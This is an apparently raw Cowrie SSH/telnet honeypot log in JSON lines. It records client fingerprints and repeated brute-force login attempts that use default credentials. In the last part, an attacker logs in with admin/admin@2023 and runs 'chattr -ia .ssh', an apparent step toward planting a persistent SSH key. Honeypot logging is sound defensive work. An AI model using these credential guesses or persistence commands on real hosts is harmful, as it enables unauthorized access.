{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56778,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f2da7c38673","protocol":"ssh","message":"New connection: 45.156.87.204:56778 (159.203.135.109:22) [session: 2f2da7c38673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:23.150763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:23.155688Z","src_ip":"45.156.87.204","session":"2f2da7c38673","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:23.239652Z","src_ip":"45.156.87.204","session":"2f2da7c38673","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123456","message":"login attempt [vncuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:23.487553Z","src_ip":"45.156.87.204","session":"2f2da7c38673","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:24.573119Z","src_ip":"45.156.87.204","session":"2f2da7c38673","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56492,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ffd032a949f","protocol":"telnet","message":"New connection: 152.42.224.71:56492 (10.17.0.5:23) [session: 9ffd032a949f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:24.961118Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.183.70.66","src_port":50190,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3f9a8398c6b","protocol":"ssh","message":"New connection: 45.183.70.66:50190 (159.203.135.109:22) [session: f3f9a8398c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:25.454651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:25.459268Z","src_ip":"45.183.70.66","session":"f3f9a8398c6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:25.576135Z","src_ip":"45.183.70.66","session":"f3f9a8398c6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"finger","message":"login attempt [root/finger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:26.073319Z","src_ip":"45.183.70.66","session":"f3f9a8398c6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56784,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0c1ab61ce4a","protocol":"ssh","message":"New connection: 45.156.87.204:56784 (159.203.135.109:22) [session: f0c1ab61ce4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:26.705688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:26.709962Z","src_ip":"45.156.87.204","session":"f0c1ab61ce4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:26.801751Z","src_ip":"45.156.87.204","session":"f0c1ab61ce4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:27.047974Z","src_ip":"45.156.87.204","session":"f0c1ab61ce4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:27.195148Z","src_ip":"45.183.70.66","session":"f3f9a8398c6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:28.133198Z","src_ip":"45.156.87.204","session":"f0c1ab61ce4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44100,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bca2759a806","protocol":"telnet","message":"New connection: 152.42.224.71:44100 (10.17.0.5:23) [session: 1bca2759a806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:28.658566Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56798,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3fa1874067a","protocol":"ssh","message":"New connection: 45.156.87.204:56798 (159.203.135.109:22) [session: a3fa1874067a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:30.179942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:30.378653Z","src_ip":"45.156.87.204","session":"a3fa1874067a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:30.381902Z","src_ip":"45.156.87.204","session":"a3fa1874067a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:30.899568Z","src_ip":"45.156.87.204","session":"a3fa1874067a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:31.984761Z","src_ip":"45.156.87.204","session":"a3fa1874067a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44102,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed4bf1aed510","protocol":"telnet","message":"New connection: 152.42.224.71:44102 (10.17.0.5:23) [session: ed4bf1aed510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:33.331536Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57154,"dst_ip":"159.203.135.109","dst_port":22,"session":"4764611ae4ba","protocol":"ssh","message":"New connection: 45.156.87.204:57154 (159.203.135.109:22) [session: 4764611ae4ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:34.034615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:34.039153Z","src_ip":"45.156.87.204","session":"4764611ae4ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:34.121174Z","src_ip":"45.156.87.204","session":"4764611ae4ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:34.366434Z","src_ip":"45.156.87.204","session":"4764611ae4ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:35.451302Z","src_ip":"45.156.87.204","session":"4764611ae4ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57158,"dst_ip":"159.203.135.109","dst_port":22,"session":"62d0218b19e9","protocol":"ssh","message":"New connection: 45.156.87.204:57158 (159.203.135.109:22) [session: 62d0218b19e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:37.556695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:37.564131Z","src_ip":"45.156.87.204","session":"62d0218b19e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:37.648824Z","src_ip":"45.156.87.204","session":"62d0218b19e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:37.901624Z","src_ip":"45.156.87.204","session":"62d0218b19e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:38.988078Z","src_ip":"45.156.87.204","session":"62d0218b19e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.114.76","src_port":34690,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf467a5688d4","protocol":"ssh","message":"New connection: 119.28.114.76:34690 (159.203.135.109:22) [session: bf467a5688d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:40.888009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:40.891917Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:41.136896Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57166,"dst_ip":"159.203.135.109","dst_port":22,"session":"45a35dc44da1","protocol":"ssh","message":"New connection: 45.156.87.204:57166 (159.203.135.109:22) [session: 45a35dc44da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:41.503825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:41.508383Z","src_ip":"45.156.87.204","session":"45a35dc44da1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:41.590683Z","src_ip":"45.156.87.204","session":"45a35dc44da1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amin","password":"amin","message":"login attempt [amin/amin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:41.841698Z","src_ip":"45.156.87.204","session":"45a35dc44da1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2023","message":"login attempt [admin/admin@2023] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:42.151338Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:42.685316Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:42.688831Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:42.692714Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:42.926096Z","src_ip":"45.156.87.204","session":"45a35dc44da1","protocol":"ssh"}
